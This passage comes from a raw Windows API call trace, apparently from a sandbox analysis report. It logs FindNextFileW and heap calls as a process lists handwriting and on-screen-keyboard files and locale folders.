nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0224.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.262] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0224.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.263] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0224.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.263] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0224.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.266] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="main.xml", cAlternateFileName="")) returned 1 [0224.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.267] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0224.267] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.267] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0224.267] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.267] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0224.267] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.267] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0224.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.268] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0224.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41780d0 | out: hHeap=0x670000) returned 1 [0224.268] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x3e3, dwReserved1=0xfffff9eb, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0224.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.268] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="he-IL", cAlternateFileName="")) returned 1 [0224.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.269] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0224.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.269] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0224.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.269] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0224.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.270] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0224.270] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6fa028, Size=0x4000) returned 0x6f0018 [0224.270] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0224.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.293] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0224.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.293] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0224.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.294] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0224.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.299] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0224.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.301] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0224.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.302] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0224.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.302] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0224.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.303] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0224.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.304] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0224.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.304] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0224.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.304] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0224.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.305] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0224.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.306] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0224.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.306] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0224.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.306] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0224.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.307] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0224.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.308] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0224.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.308] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0224.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.309] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0224.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.310] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0224.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.310] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0224.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.311] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0224.311] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0224.311] 